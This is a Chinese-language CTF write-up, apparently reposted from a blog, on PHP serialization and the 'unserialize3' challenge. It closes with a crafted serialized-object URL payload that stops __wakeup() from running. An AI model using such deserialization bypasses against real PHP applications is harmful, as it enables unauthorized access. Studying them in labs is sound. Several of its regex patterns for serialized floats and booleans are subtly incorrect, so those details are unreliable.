unserialize3 writeup
php 序列化
序列化是程序类型转化为字符串的过程
字符串的序列化
<?php
$name = "faraday";
$name_ser = serialize($name);
print_r($name_ser);
?>
得到的输出是
s:7:"faraday";
可以统一表达为正则的形式
'/s:[0-9]+:"[^"]+";/;'
整型的序列化
<?php
$name = 1;
$name_ser = serialize($name);
print_r($name_ser);
?>
得到的输出是
i:1;
用正则表达则是
'/i:[0-9]+/;'
浮点数的序列化
<?php
$name = 1.1;
$name_ser = serialize($name);
print_r($name_ser);
?>
得到的输出是
d:1.1;
用正则表达则是
'/d:[0-9\.]+E[+-][0-9]+;/'
布尔值的序列化
<?php
$name =TRUE;
$name_ser = serialize($name);
print_r($name_ser);
?>
得到的输出是
b:1;
用正则表达则是
'/b:0|1;/'
数组的序列化
<?php
$name =[1,1.1,"a",True,NULL];
$name_ser = serialize($name);
print_r($name_ser);
?>
得到的输出是
a:5:{i:0;i:1;i:1;d:1.1;i:2;s:1:"a";i:3;b:1;i:4;N;}
分析一下结构
我们提取每一项的子串,如
i:0;i:1;
i:1;d:1.1;
i:0 表示该项的 index 是 0;i:1 表示该项是一个整型,值为 1。
用正则表达则是
'/a:[0-9]+:{(i:[0-9]+;|d:[0-9\.]+E[+-][0-9]+;|s:[0-9]+:"[^"]+";|b:0;|b:1;|N;)*}/'
对象的序列化
<?php
class class1{
public $a=1;
public $b=1.1;
public $c="a";
public $d=[1];
}
$name =new class1();
$name_ser = serialize($name);
print_r($name_ser);
?>
得到的输出是
O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
分析一下结构
- O 表示该对象类型为对象
- 6 表示对象名长度为 6
- "class1"是对象名
- 4 表示该对象有 4 个属性
- {}内的部分则表示每个属性
提取一下子串
s:1:"a";i:1;
表示属性名为 a 的属性是整型,值为 1
php 反序列化
反序列化是程序将符合一定格式的字符串转化为程序类型的方法
<?php
class class1{
public $a=1;
public $b=1.1;
public $c="a";
public $d=[1];
}
$name =new class1();
$name_ser = serialize($name);
print_r($name_ser);
$name_unser=unserialize($name_ser);
print_r("\n");
print_r($name_unser);
?>
得到输出
O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
class1 Object
(
[a] => 1
[b] => 1.1
[c] => a
[d] => Array
(
[0] => 1
)
)
魔术方法
魔术方法以"__"开头,跟反序列化过程相关的魔术方法有
- __sleep() - 对象序列化之前触发,返回一个数组指定需要序列化的属性。
- __wakeup() - 对象反序列化之后立即触发。可用于反序列化后的初始化操作。
- __set_state() - 当使用 var_export()导出类时触发,用于返回要导出的属性数组。
- __clone() - 对象复制时触发,用于实现对象的深拷贝。
- __destruct() - 对象销毁前触发,可用于自定义销毁前的操作。
- __tostring() - 可以控制对象进行字符串转换时的字符串表示。
- __debuginfo() - 用于定制对象的调试信息。当对象被 var_dump()处理时被调用。
- __get()/__set()/__isset()/__unset() - 用于实现属性的自定义访问。
- __call()/__callStatic() - 调用不可访问方法时触发。
- __serialize()/__unserialize() - 自定义序列化/反序列化的实现。
unserialize3
回到题目,访问场景后得到:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
反序列化后立即触发__wakeup()
我们首先序列化一下
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$b=new xctf();
$c=serialize($b);
echo $c;
?>
得到输出
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
构造 url
http://61.147.171.105:57300/index.php?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}
果然得到输出
bad requests
这说明我们对 php 的执行逻辑理解是正确的
接下来考虑如何避免触发__wakeup()
首先考虑类似 bof 的构造
O:3:"xctf":1:{s:4:"flag";s:3:"111";}
果然成功了文章来源:https://www.toymoban.com/news/detail-662305.html
文章来源地址https://www.toymoban.com/news/detail-662305.html
到了这里,关于unserialize3的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!